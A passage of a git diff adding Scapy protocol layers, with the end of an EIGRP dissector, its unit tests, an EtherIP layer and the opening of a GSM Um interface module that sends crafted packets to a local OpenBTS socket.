+    def getfield(self, pkt, s):
+        l = self.length_from(pkt)
+        l = self.prefixlen_to_bytelen(l)
+        return s[l:], self.m2i(pkt, s[:l])
+
+    def randval(self):
+        return IPField.randval(self)
+
+class EigrpIP6Field(StrField, IP6Field):
+    """
+    This is a special field type for handling ip addresses of destination networks in internal and
+    external route updates.
+
+    """
+
+    __slots__ = ["length_from"]
+
+    def __init__(self, name, default, length=None, length_from=None):
+        StrField.__init__(self, name, default)
+        self.length_from  = length_from
+        if length is not None:
+            self.length_from = lambda pkt,length=length: length
+
+    def any2i(self, pkt, x):
+        return IP6Field.any2i(self, pkt, x)
+
+    def i2repr(self, pkt, x):
+        return IP6Field.i2repr(self, pkt, x)
+
+    def h2i(self, pkt, x):
+        return IP6Field.h2i(self, pkt, x)
+
+    def i2m(self, pkt, x):
+        x = inet_pton(socket.AF_INET6, x)
+        l = self.length_from(pkt)
+        l = self.prefixlen_to_bytelen(l)
+
+        return x[:l]
+
+    def m2i(self, pkt, x):
+        l = self.length_from(pkt)
+
+        prefixlen = self.prefixlen_to_bytelen(l)
+        if l > 128:
+            warning("EigrpIP6Field: Prefix length is > 128. Dissection of this packet will fail")
+        else:
+            pad = b"\x00" * (16 - prefixlen)
+            x += pad
+
+        return inet_ntop(socket.AF_INET6, x)
+
+    def prefixlen_to_bytelen(self, l):
+        l = l // 8
+
+        if l < 16:
+            l += 1
+
+        return l
+
+    def i2len(self, pkt, x):
+        l = self.length_from(pkt)
+        l = self.prefixlen_to_bytelen(l)
+        return l
+
+    def getfield(self, pkt, s):
+        l = self.length_from(pkt)
+        l = self.prefixlen_to_bytelen(l)
+        return s[l:], self.m2i(pkt, s[:l])
+
+    def randval(self):
+        return IP6Field.randval(self)
+
+class EIGRPGeneric(Packet):
+    name = "EIGRP Generic TLV"
+    fields_desc = [ XShortField("type", 0x0000),
+            FieldLenField("len", None, "value", "!H", adjust=lambda pkt,x: x + 4),
+            StrLenField("value", b"\x00", length_from=lambda pkt: pkt.len - 4)]
+
+    def guess_payload_class(self, p):
+        return conf.padding_layer
+
+class EIGRPParam(EIGRPGeneric):
+    name = "EIGRP Parameters"
+    fields_desc = [ XShortField("type", 0x0001),
+            ShortField("len", 12),
+            # Bandwidth
+            ByteField("k1", 1),
+            # Load
+            ByteField("k2", 0),
+            # Delay
+            ByteField("k3", 1),
+            # Reliability
+            ByteField("k4", 0),
+            # MTU
+            ByteField("k5", 0),
+            ByteField("reserved", 0),
+            ShortField("holdtime", 15)
+            ]
+
+class EIGRPAuthData(EIGRPGeneric):
+    name = "EIGRP Authentication Data"
+    fields_desc = [ XShortField("type", 0x0002),
+            FieldLenField("len", None, "authdata", "!H", adjust=lambda pkt,x: x + 24),
+            ShortEnumField("authtype", 2, {2 : "MD5"}),
+            ShortField("keysize", None),
+            IntField("keyid", 1),
+            StrFixedLenField("nullpad", b"\x00" * 12, 12),
+            StrLenField("authdata", RandString(16), length_from=lambda pkt: pkt.keysize)
+            ]
+
+    def post_build(self, p, pay):
+        p += pay
+
+        if self.keysize is None:
+            keysize = len(self.authdata)
+            p = p[:6] + chb((keysize >> 8) & 0xff) + chb(keysize & 0xff) + p[8:]
+
+        return p
+
+class EIGRPSeq(EIGRPGeneric):
+    name = "EIGRP Sequence"
+    fields_desc = [ XShortField("type", 0x0003),
+            ShortField("len", None),
+            ByteField("addrlen", 4),
+            ConditionalField(IPField("ipaddr", "192.168.0.1"),
+                            lambda pkt:pkt.addrlen == 4),
+            ConditionalField(IP6Field("ip6addr", "2001::"),
+                            lambda pkt:pkt.addrlen == 16)
+            ]
+
+    def post_build(self, p, pay):
+        p += pay
+
+        if self.len is None:
+            l = len(p)
+            p = p[:2] + chb((l >> 8) & 0xff) + chb(l & 0xff) + p[4:]
+
+        return p
+
+class ShortVersionField(ShortField):
+    def i2repr(self, pkt, x):
+        try:
+            minor = x & 0xff
+            major = (x >> 8) & 0xff
+        except TypeError:
+            return "unknown"
+        else:
+            # We print a leading 'v' so that these values don't look like floats
+            return "v%s.%s" % (major, minor)
+
+    def h2i(self, pkt, x):
+        """The field accepts string values like v12.1, v1.1 or integer values.
+           String values have to start with a "v" folled by a floating point number.
+           Valid numbers are between 0 and 255.
+        """
+
+        if isinstance(x, str) and x.startswith("v") and len(x) <= 8:
+            major = int(x.split(".")[0][1:])
+            minor = int(x.split(".")[1])
+
+            return (major << 8) | minor
+
+        elif isinstance(x, int) and 0 <= x <= 65535:
+            return x
+        else:
+            if self.default != None:
+                warning("set value to default. Format of %r is invalid" % x)
+                return self.default
+            else:
+                raise Scapy_Exception("Format of value is invalid")
+
+    def randval(self):
+        return RandShort()
+
+class EIGRPSwVer(EIGRPGeneric):
+    name = "EIGRP Software Version"
+    fields_desc = [ XShortField("type", 0x0004),
+            ShortField("len", 8),
+            ShortVersionField("ios", "v12.0"),
+            ShortVersionField("eigrp", "v1.2")
+            ]
+
+class EIGRPNms(EIGRPGeneric):
+    name = "EIGRP Next Multicast Sequence"
+    fields_desc = [ XShortField("type", 0x0005),
+            ShortField("len", 8),
+            IntField("nms", 2)
+            ]
+
+# Don't get confused by the term "receive-only". This flag is always set, when you configure
+# one of the stub options. It's also the only flag set, when you configure "eigrp stub receive-only".
+_EIGRP_STUB_FLAGS = ["connected", "static", "summary", "receive-only", "redistributed", "leak-map"]
+
+class EIGRPStub(EIGRPGeneric):
+    name = "EIGRP Stub Router"
+    fields_desc = [ XShortField("type", 0x0006),
+            ShortField("len", 6),
+            FlagsField("flags", 0x000d, 16, _EIGRP_STUB_FLAGS)]
+
+# Delay 0xffffffff == Destination Unreachable
+class EIGRPIntRoute(EIGRPGeneric):
+    name = "EIGRP Internal Route"
+    fields_desc = [ XShortField("type", 0x0102),
+            FieldLenField("len", None, "dst", "!H", adjust=lambda pkt,x: x + 25),
+            IPField("nexthop", "192.168.0.0"),
+            IntField("delay", 128000),
+            IntField("bandwidth", 256),
+            ThreeBytesField("mtu", 1500),
+            ByteField("hopcount", 0),
+            ByteField("reliability", 255),
+            ByteField("load", 0),
+            XShortField("reserved", 0),
+            ByteField("prefixlen", 24),
+            EigrpIPField("dst", "192.168.1.0", length_from=lambda pkt: pkt.prefixlen),
+            ]
+
+_EIGRP_EXTERNAL_PROTOCOL_ID = {
+                            0x01 : "IGRP",
+                            0x02 : "EIGRP",
+                            0x03 : "Static Route",
+                            0x04 : "RIP",
+                            0x05 : "Hello",
+                            0x06 : "OSPF",
+                            0x07 : "IS-IS",
+                            0x08 : "EGP",
+                            0x09 : "BGP",
+                            0x0A : "IDRP",
+                            0x0B : "Connected Link"
+                            }
+
+_EIGRP_EXTROUTE_FLAGS = ["external", "candidate-default"]
+
+class EIGRPExtRoute(EIGRPGeneric):
+    name = "EIGRP External Route"
+    fields_desc = [ XShortField("type", 0x0103),
+            FieldLenField("len", None, "dst", "!H", adjust=lambda pkt,x: x + 45),
+            IPField("nexthop", "192.168.0.0"),
+            IPField("originrouter", "192.168.0.1"),
+            IntField("originasn", 0),
+            IntField("tag", 0),
+            IntField("externalmetric", 0),
+            ShortField("reserved", 0),
+            ByteEnumField("extprotocolid", 3, _EIGRP_EXTERNAL_PROTOCOL_ID),
+            FlagsField("flags", 0, 8, _EIGRP_EXTROUTE_FLAGS),
+            IntField("delay", 0),
+            IntField("bandwidth", 256),
+            ThreeBytesField("mtu", 1500),
+            ByteField("hopcount", 0),
+            ByteField("reliability", 255),
+            ByteField("load", 0),
+            XShortField("reserved2", 0),
+            ByteField("prefixlen", 24),
+            EigrpIPField("dst", "192.168.1.0", length_from=lambda pkt: pkt.prefixlen)
+            ]
+
+class EIGRPv6IntRoute(EIGRPGeneric):
+    name = "EIGRP for IPv6 Internal Route"
+    fields_desc = [ XShortField("type", 0x0402),
+            FieldLenField("len", None, "dst", "!H", adjust=lambda pkt,x: x + 37),
+            IP6Field("nexthop", "::"),
+            IntField("delay", 128000),
+            IntField("bandwidth", 256000),
+            ThreeBytesField("mtu", 1500),
+            ByteField("hopcount", 1),
+            ByteField("reliability", 255),
+            ByteField("load", 0),
+            XShortField("reserved", 0),
+            ByteField("prefixlen", 16),
+            EigrpIP6Field("dst", "2001::", length_from=lambda pkt: pkt.prefixlen)
+            ]
+
+class EIGRPv6ExtRoute(EIGRPGeneric):
+    name = "EIGRP for IPv6 External Route"
+    fields_desc = [ XShortField("type", 0x0403),
+            FieldLenField("len", None, "dst", "!H", adjust=lambda pkt,x: x + 57),
+            IP6Field("nexthop", "::"),
+            IPField("originrouter", "192.168.0.1"),
+            IntField("originasn", 0),
+            IntField("tag", 0),
+            IntField("externalmetric", 0),
+            ShortField("reserved", 0),
+            ByteEnumField("extprotocolid", 3, _EIGRP_EXTERNAL_PROTOCOL_ID),
+            FlagsField("flags", 0, 8, _EIGRP_EXTROUTE_FLAGS),
+            IntField("delay", 0),
+            IntField("bandwidth", 256000),
+            ThreeBytesField("mtu", 1500),
+            ByteField("hopcount", 1),
+            ByteField("reliability", 0),
+            ByteField("load", 1),
+            XShortField("reserved2", 0),
+            ByteField("prefixlen", 8),
+            EigrpIP6Field("dst", "::", length_from=lambda pkt: pkt.prefixlen)
+            ]
+
+_eigrp_tlv_cls = {
+                    0x0001: "EIGRPParam",
+                    0x0002: "EIGRPAuthData",
+                    0x0003: "EIGRPSeq",
+                    0x0004: "EIGRPSwVer",
+                    0x0005: "EIGRPNms",
+                    0x0006: "EIGRPStub",
+                    0x0102: "EIGRPIntRoute",
+                    0x0103: "EIGRPExtRoute",
+                    0x0402: "EIGRPv6IntRoute",
+                    0x0403: "EIGRPv6ExtRoute"
+                   }
+
+class RepeatedTlvListField(PacketListField):
+    def __init__(self, name, default, cls):
+        PacketField.__init__(self, name, default, cls)
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+        while len(remain) > 0:
+            p = self.m2i(pkt, remain)
+            if conf.padding_layer in p:
+                pad = p[conf.padding_layer]
+                remain = pad.load
+                del(pad.underlayer.payload)
+            else:
+                remain = b""
+            lst.append(p)
+        return remain,lst
+
+    def addfield(self, pkt, s, val):
+        return s + b"".join(raw(v) for v in val)
+
+def _EIGRPGuessPayloadClass(p, **kargs):
+    cls = conf.raw_layer
+    if len(p) >= 2:
+        t = struct.unpack("!H", p[:2])[0]
+        clsname = _eigrp_tlv_cls.get(t, "EIGRPGeneric")
+        cls = globals()[clsname]
+    return cls(p, **kargs)
+
+_EIGRP_OPCODES = { 1 : "Update",
+                   2 : "Request",
+                   3 : "Query",
+                   4 : "Replay",
+                   5 : "Hello",
+                   6 : "IPX SAP",
+                   10 : "SIA Query",
+                   11 : "SIA Reply" }
+
+# The Conditional Receive bit is used for reliable multicast communication.
+# Update-Flag: Not sure if Cisco calls it that way, but it's set when neighbors
+# are exchanging routing information
+_EIGRP_FLAGS = ["init", "cond-recv", "unknown", "update"]
+
+class EIGRP(Packet):
+    name = "EIGRP"
+    fields_desc = [ ByteField("ver", 2),
+                    ByteEnumField("opcode", 5, _EIGRP_OPCODES),
+                    XShortField("chksum", None),
+                    FlagsField("flags", 0, 32, _EIGRP_FLAGS),
+                    IntField("seq", 0),
+                    IntField("ack", 0),
+                    IntField("asn", 100),
+                    RepeatedTlvListField("tlvlist", [], _EIGRPGuessPayloadClass)
+                 ]
+
+    def post_build(self, p, pay):
+        p += pay
+        if self.chksum is None:
+            c = checksum(p)
+            p = p[:2] + chb((c >> 8) & 0xff) + chb(c & 0xff) + p[4:]
+        return p
+
+    def mysummary(self):
+        summarystr = "EIGRP (AS=%EIGRP.asn% Opcode=%EIGRP.opcode%"
+        if self.opcode == 5 and self.ack != 0:
+            summarystr += " (ACK)"
+        if self.flags != 0:
+            summarystr += " Flags=%EIGRP.flags%"
+
+        return self.sprintf(summarystr + ")")
+
+bind_layers(IP, EIGRP, proto=88)
+bind_layers(IPv6, EIGRP, nh=88)
+
+if __name__ == "__main__":
+    from scapy.main import interact
+    interact(mydict=globals(), mybanner="EIGRP")
+
diff --git a/scapy/contrib/eigrp.uts b/scapy/contrib/eigrp.uts
new file mode 100644
index 0000000..126958e
--- /dev/null
+++ b/scapy/contrib/eigrp.uts
@@ -0,0 +1,204 @@
+% EIGRP Tests
+* Tests for the Scapy EIGRP layer
+
++ Basic Layer Tests
+* These are just some basic tests
+
+= EIGRP IPv4 Binding
+~ eigrp_ipv4_binding
+p = IP()/EIGRP()
+p[IP].proto == 88
+
+= EIGRP IPv6 Binding
+~ eigrp_ipv6_binding
+p = IPv6()/EIGRP()
+p[IPv6].nh == 88
+
+= EIGRP checksum field
+~ eigrp_chksum_field
+p = IP()/EIGRP(flags=0xa, seq=23, ack=42, asn=100)
+s = p[EIGRP].build()
+struct.unpack("!H", s[2:4])[0] == 64843
+
++ Custom Field Tests
+* Test funciontally of custom made fields
+
+= ShortVersionField nice representation
+f = ShortVersionField("ver", 3072)
+f.i2repr(None, 3072) == "v12.0" and f.i2repr(None, 258) == "v1.2"
+
+= ShortVersionField h2i function
+f = ShortVersionField("ver", 0)
+f.h2i(None, 3073) == f.h2i(None, "v12.1")
+
+= EigrpIPField length with prefix length of 8 bit
+f = EigrpIPField("ipaddr", "192.168.1.0", length=8)
+f.i2len(None, "") == 1
+
+= EigrpIPField length with prefix length of 12 bit
+f = EigrpIPField("ipaddr", "192.168.1.0", length=12)
+f.i2len(None, "") == 2
+
+= EigrpIPField length with prefix length of 24 bit
+f = EigrpIPField("ipaddr", "192.168.1.0", length=24)
+f.i2len(None, "") == 3
+
+= EigrpIPField length with prefix length of 28 bit
+f = EigrpIPField("ipaddr", "192.168.1.0", length=28)
+f.i2len(None, "") == 4
+
+= EigrpIP6Field length with prefix length of 8 bit
+f = EigrpIP6Field("ipaddr", "2000::", length=8)
+f.i2len(None, "") == 2
+
+= EigrpIP6Field length with prefix length of 99 bit
+f = EigrpIP6Field("ipaddr", "2000::", length=99)
+f.i2len(None, "") == 13
+
+= EigrpIP6Field length with prefix length of 128 bit
+f = EigrpIP6Field("ipaddr", "2000::", length=128)
+f.i2len(None, "") == 16
+
+= EIGRPGuessPayloadClass function: Return Parameters TLV
+from scapy.contrib.eigrp import _EIGRPGuessPayloadClass
+isinstance(_EIGRPGuessPayloadClass(b"\x00\x01"), EIGRPParam)
+
+= EIGRPGuessPayloadClass function: Return Authentication Data TLV
+isinstance(_EIGRPGuessPayloadClass(b"\x00\x02"), EIGRPAuthData)
+
+= EIGRPGuessPayloadClass function: Return Sequence TLV
+isinstance(_EIGRPGuessPayloadClass(b"\x00\x03"), EIGRPSeq)
+
+= EIGRPGuessPayloadClass function: Return Software Version TLV
+isinstance(_EIGRPGuessPayloadClass(b"\x00\x04"), EIGRPSwVer)
+
+= EIGRPGuessPayloadClass function: Return Next Multicast Sequence TLV
+isinstance(_EIGRPGuessPayloadClass(b"\x00\x05"), EIGRPNms)
+
+= EIGRPGuessPayloadClass function: Return Stub Router TLV
+isinstance(_EIGRPGuessPayloadClass(b"\x00\x06"), EIGRPStub)
+
+= EIGRPGuessPayloadClass function: Return Internal Route TLV
+isinstance(_EIGRPGuessPayloadClass(b"\x01\x02"), EIGRPIntRoute)
+
+= EIGRPGuessPayloadClass function: Return External Route TLV
+isinstance(_EIGRPGuessPayloadClass(b"\x01\x03"), EIGRPExtRoute)
+
+= EIGRPGuessPayloadClass function: Return IPv6 Internal Route TLV
+isinstance(_EIGRPGuessPayloadClass(b"\x04\x02"), EIGRPv6IntRoute)
+
+= EIGRPGuessPayloadClass function: Return IPv6 External Route TLV
+isinstance(_EIGRPGuessPayloadClass(b"\x04\x03"), EIGRPv6ExtRoute)
+
+= EIGRPGuessPayloadClass function: Return EIGRPGeneric
+isinstance(_EIGRPGuessPayloadClass(b"\x23\x42"), EIGRPGeneric)
+
++ TLV List
+
+= EIGRP parameters and software version
+p = IP()/EIGRP(tlvlist=[EIGRPParam()/EIGRPSwVer()])
+s = b'\x45\x00\x00\x3C\x00\x01\x00\x00\x40\x58\x7C\x67\x7F\x00\x00\x01\x7F\x00\x00\x01\x02\x05\xEE\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00\x01\x00\x0C\x01\x00\x01\x00\x00\x00\x00\x0F\x00\x04\x00\x08\x0C\x00\x01\x02'
+raw(p) == s
+
+= EIGRP internal route length field
+p = IP()/EIGRP(tlvlist=[EIGRPIntRoute(prefixlen=24, dst="192.168.1.0")])
+struct.unpack("!H", p[EIGRPIntRoute].build()[2:4])[0] == 28
+
+= EIGRP external route length field
+p = IP()/EIGRP(tlvlist=[EIGRPExtRoute(prefixlen=16, dst="10.1.0.0")])
+struct.unpack("!H", p[EIGRPExtRoute].build()[2:4])[0] == 47
+
+= EIGRPv6 internal route length field
+p = IP()/EIGRP(tlvlist=[EIGRPv6IntRoute(prefixlen=64, dst="2000::")])
+struct.unpack("!H", p[EIGRPv6IntRoute].build()[2:4])[0] == 46
+
+= EIGRPv6 external route length field
+p = IP()/EIGRP(tlvlist=[EIGRPv6ExtRoute(prefixlen=99, dst="2000::")])
+struct.unpack("!H", p[EIGRPv6ExtRoute].build()[2:4])[0] == 70
+
++ Stub Flags
+* The receive-only flag is always set, when a router anounces itself as stub router.
+
+= Receive-Only
+p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="receive-only")])
+p[EIGRPStub].flags == 0x0008
+
+= Connected
+p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+receive-only")])
+p[EIGRPStub].flags == 0x0009
+
+= Static
+p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="static+receive-only")])
+p[EIGRPStub].flags == 0x000a
+
+= Summary
+p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="summary+receive-only")])
+p[EIGRPStub].flags == 0x000c
+
+= Connected, Summary
+p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+summary+receive-only")])
+p[EIGRPStub].flags == 0x000d
+
+= Static, Summary
+p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="static+summary+receive-only")])
+p[EIGRPStub].flags == 0x000e
+
+= Redistributed, Connected
+p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+connected+receive-only")])
+p[EIGRPStub].flags == 0x0019
+
+= Redistributed, Static
+p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+static+receive-only")])
+p[EIGRPStub].flags == 0x001a
+
+= Redistributed, Static, Connected
+p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+static+connected+receive-only")])
+p[EIGRPStub].flags == 0x001b
+
+= Redistributed, Summary
+p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+summary+receive-only")])
+p[EIGRPStub].flags == 0x001c
+
+= Redistributed, Connected, Summary
+p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+connected+summary+receive-only")])
+p[EIGRPStub].flags == 0x001d
+
+= Connected, Redistributed, Static, Summary
+p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+redistributed+static+summary+receive-only")])
+p[EIGRPStub].flags == 0x001f
+
+= Leak-Map
+p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="leak-map+receive-only")])
+p[EIGRPStub].flags == 0x0028
+
+= Connected, Leak-Map
+p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+leak-map+receive-only")])
+p[EIGRPStub].flags == 0x0029
+
++ Routing Updates
+
+= External route flag external
+p = EIGRPExtRoute(flags="external")
+p.flags == 0x1
+
+= External route flag candidate-default route
+p = EIGRPExtRoute(flags="candidate-default")
+p.flags == 0x2
+
+= Multiple internal routing updates
+p = IP()/EIGRP(tlvlist=[EIGRPIntRoute(), EIGRPIntRoute(hopcount=12), EIGRPIntRoute()])
+p[EIGRPIntRoute:2].hopcount == 12
+
+= Multiple external routing updates
+p = IP()/EIGRP(tlvlist=[EIGRPExtRoute(), EIGRPExtRoute(mtu=23), EIGRPExtRoute()])
+p[EIGRPExtRoute:2].mtu == 23
+
++ Authentication Data TLV
+
+= Verify keysize calculation
+p = IP()/EIGRP(tlvlist=[EIGRPAuthData(authdata=b"\xaa\xbb\xcc")])
+p[EIGRPAuthData].build()[6:8] == b"\x00\x03"
+
+= Verify length calculation
+p = IP()/EIGRP(tlvlist=[EIGRPAuthData(authdata=b"\xaa\xbb\xcc\xdd")])
+p[EIGRPAuthData].build()[2:4] == b"\x00\x1c"
diff --git a/scapy/contrib/etherip.py b/scapy/contrib/etherip.py
new file mode 100644
index 0000000..6108971
--- /dev/null
+++ b/scapy/contrib/etherip.py
@@ -0,0 +1,30 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = EtherIP
+# scapy.contrib.status = loads
+
+from scapy.fields import BitField
+from scapy.packet import Packet, bind_layers
+from scapy.layers.inet import IP
+from scapy.layers.l2 import Ether
+
+class EtherIP(Packet):
+    name = "EtherIP / RFC 3378"
+    fields_desc = [ BitField("version", 3, 4),
+                    BitField("reserved", 0, 12)]
+
+bind_layers( IP,            EtherIP,       frag=0, proto=0x61)
+bind_layers( EtherIP,       Ether)
+
diff --git a/scapy/contrib/gsm_um.py b/scapy/contrib/gsm_um.py
new file mode 100644
index 0000000..9990754
--- /dev/null
+++ b/scapy/contrib/gsm_um.py
@@ -0,0 +1,12793 @@
+#!/usr/bin/env python
+
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = PPI
+# scapy.contrib.status = loads
+
+    ####################################################################
+    # This file holds the GSM UM interface implementation for Scapy    #
+    # author: Laurent Weber <k@0xbadcab1e.lu>                          #
+    #                                                                  #
+    # Some examples on how to use this script:                         #
+    #                      http://0xbadcab1e.lu/scapy_gsm_um-howto.txt #
+    #                                                                  #
+    # tested on: scapy-version: 2.2.0 (dev)                            #
+    ####################################################################
+
+from __future__ import print_function
+import logging
+from types import IntType
+from types import NoneType
+from types import StringType
+#from  time import sleep
+import socket
+logging.getLogger("scapy").setLevel(1)
+
+from scapy.packet import *
+from scapy.fields import *
+
+# This method is intended to send gsm air packets. It uses a unix domain
+# socket. It opens a socket, sends the parameter to the socket and
+# closes the socket.
+# typeSock determines the type of the socket, can be:
+#                  0 for UDP Socket
+#                  1 for Unix Domain Socket
+#                  2 for TCP
+
+
+def sendum(x, typeSock=0):
+    try:
+        if not isinstance(x, str):
+            x = str(x)
+        if typeSock is 0:
+            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+            host = '127.0.0.1'
+            port = 28670       # default for openBTS
+            s.connect((host, port))
+        elif typeSock is 1:
+            s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
+            s.connect("/tmp/osmoL")
+        elif typeSock is 2:
+            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            host = '127.0.0.1'
+            port = 43797
+            s.connect((host, port))
+        s.send(x)
+        s.close()
+    except:
+        print("[Error]: There was a problem when trying to transmit data.\
+               Please make sure you started the socket server.")
+
+# Known Bugs/Problems:
+# If a message uses multiple times the same IE you cannot set the values
+# of this IE's if you use the preconfigured packets. You need to build
+# the IE's by hand and than assemble them as entire messages.
+
+# The ErrorLength class is a custom exception that gets raised when a
+# packet doesn't have the correct size.
+
+
+class ErrorLength(Exception):
+    def __str__(self):
+        error = "ERROR: Please make sure you build entire, 8 bit fields."
+        return repr(error)
+###
+# This method computes the length of the actual IE.
+# It computes how many "None" fields have to be removed (if any).
+# The method returns an integer containing the number of bytes that have to be
+# cut off the packet.
+# parameter length contains the max length of the IE can be found in
+# 0408
+# The parameter fields contains the value of the fields (not the default but
+# the real, actual value.
+# The parameter fields2 contains fields_desc.
+# Location contains the location of the length field in the IE. Everything
+# after the the length field has to be counted (04.07 11.2.1.1.2)
+
+
+def adapt(min_length, max_length, fields, fields2, location=2):
+    # find out how much bytes there are between min_length and the location of
+    # the length field
+    location = min_length - location
+    i = len(fields) - 1
+    rm = mysum = 0
+    while i >= 0:
+        if fields[i] is None:
+            rm += 1
+            try:
+                mysum += fields2[i].size
+            except AttributeError:  # ByteFields don't have .size
+                mysum += 8
+        else:
+            break
+        i -= 1
+    if mysum % 8 is 0:
+        length = mysum / 8  # Number of bytes we have to delete
+        dyn_length = (max_length - min_length - length)
+        if dyn_length < 0:
+            dyn_length = 0
+        if length is max_length:  # Fix for packets that have all values set
+            length -= min_length  # to None
+        return [length, dyn_length + location]
+    else:
+        raise ErrorLength()
+
+
+def examples(example=None):
+    if example == None:
+        print("""This command presents some example to introduce scapy
+gsm-um to new users.
+The following parameters can be used:
+    examples("imsiDetach")
+    examples("call")
+    examples("dissect")""")
+    elif example == "imsiDetach":
+        print("""
+>>> a=imsiDetachIndication()
+... a.typeOfId=1; a.odd=1; a.idDigit1=0xF; 
+... a.idDigit2_1=2; a.idDigit2=7; a.idDigit3_1=0;
+... a.idDigit3=7; a.idDigit4_1=7; a.idDigit4=2;
+... a.idDigit5_1=0; a.idDigit5=0; a.idDigit6_1=0;
+... a.idDigit6=1; a.idDigit7_1=2; a.idDigit7=7;
+... a.idDigit8_1=7; a.idDigit8=5; a.idDigit9_1=1; a.idDigit9=4; 
+>>> hexdump(a)
+0000   05 01 00 08 F0 27 07 72  00 01 27 75 14   .....'.r..'u.
+>>> sendum(a)
+""")
+    elif example == "call":
+        print("""
+If you use an USRP and the testcall function this sets up a phonecall:
+>>> sendum(setupMobileOriginated())
+>>> sendum(connectAcknowledge())
+""")
+
+
+# Section 10.2/3
+class TpPd(Packet):
+    """Skip indicator and transaction identifier and Protocol Discriminator"""
+    name = "Skip Indicator And Transaction Identifier and Protocol \
+Discriminator"
+    fields_desc = [
+               BitField("ti", 0x0, 4),
+               BitField("pd", 0x3, 4)
+               ]
+
+
+class MessageType(Packet):
+    """Message Type Section 10.4"""
+    name = "Message Type"
+    fields_desc = [
+               XByteField("mesType", 0x3C)
+               ]
+
+
+##
+# Message for Radio Resources management (RR) Section 9.1
+###
+
+# Network to MS
+def additionalAssignment(MobileAllocation_presence=0,
+                         StartingTime_presence=0):
+    """ADDITIONAL ASSIGNMENT Section 9.1.1"""
+    # Mandatory
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x3B)  # 00111011
+    c = ChannelDescription()
+    packet = a / b / c
+    # Not Mandatory
+    if MobileAllocation_presence is 1:
+        d = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0)
+        packet = packet / d
+    if StartingTime_presence is 1:
+        e = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0)
+        packet = packet / e
+    return packet
+
+
+# Network to MS
+def assignmentCommand(FrequencyList_presence=0,
+                      CellChannelDescription_presence=0,
+                      CellChannelDescription_presence1=0,
+                      MultislotAllocation_presence=0,
+                      ChannelMode_presence=0, ChannelMode_presence1=0,
+                      ChannelMode_presence2=0, ChannelMode_presence3=0,
+                      ChannelMode_presence4=0, ChannelMode_presence5=0,
+                      ChannelMode_presence6=0, ChannelMode_presence7=0,
+                      ChannelDescription=0, ChannelMode2_presence=0,
+                      MobileAllocation_presence=0, StartingTime_presence=0,
+                      FrequencyList_presence1=0,
+                      ChannelDescription2_presence=0,
+                      ChannelDescription_presence=0,
+                      FrequencyChannelSequence_presence=0,
+                      MobileAllocation_presence1=0,
+                      CipherModeSetting_presence=0,
+                      VgcsTargetModeIdentication_presence=0,
+                      MultiRateConfiguration_presence=0):
+    """ASSIGNMENT COMMAND Section 9.1.2"""
+    a = TpPd(pd=0x6)
+    b = MessageType(mesType=0x2e)  # 101110
+    c = ChannelDescription2()
+    d = PowerCommand()
+    packet = a / b / c / d
+    if FrequencyList_presence is 1:
+        e = FrequencyListHdr(ieiFL=0x05, eightBitFL=0x0)
+        packet = packet / e
+    if CellChannelDescription_presence is 1:
+        f = CellChannelDescriptionHdr(ieiCCD=0x62, eightBitCCD=0x0)
+        packet = packet / f
+    if MultislotAllocation_presence is 1:
+        g = MultislotAllocationHdr(ieiMSA=0x10, eightBitMSA=0x0)
+        packet = packet / g
+    if ChannelMode_presence is 1:
+        h = ChannelModeHdr(ieiCM=0x63, eightBitCM=0x0)
+        packet = packet / h
+    if ChannelMode_presence1 is 1:
+        i = ChannelModeHdr(ieiCM=0x11, eightBitCM=0x0)
+        packet = packet / i
+    if ChannelMode_presence2 is 1:
+        j = ChannelModeHdr(ieiCM=0x13, eightBitCM=0x0)
+        packet = packet / j
+    if ChannelMode_presence3 is 1:
+        k = ChannelModeHdr(ieiCM=0x14, eightBitCM=0x0)
+        packet = packet / k
+    if ChannelMode_presence4 is 1:
+        l = ChannelModeHdr(ieiCM=0x15, eightBitCM=0x0)
+        packet = packet / l
+    if ChannelMode_presence5 is 1:
+        m = ChannelModeHdr(ieiCM=0x16, eightBitCM=0x0)
+        packet = packet / m
+    if ChannelMode_presence6 is 1:
+        n = ChannelModeHdr(ieiCM=0x17, eightBitCM=0x0)
+        packet = packet / n
+    if ChannelMode_presence7 is 1:
+        o = ChannelModeHdr(ieiCM=0x18, eightBitCM=0x0)
+        packet = packet / o
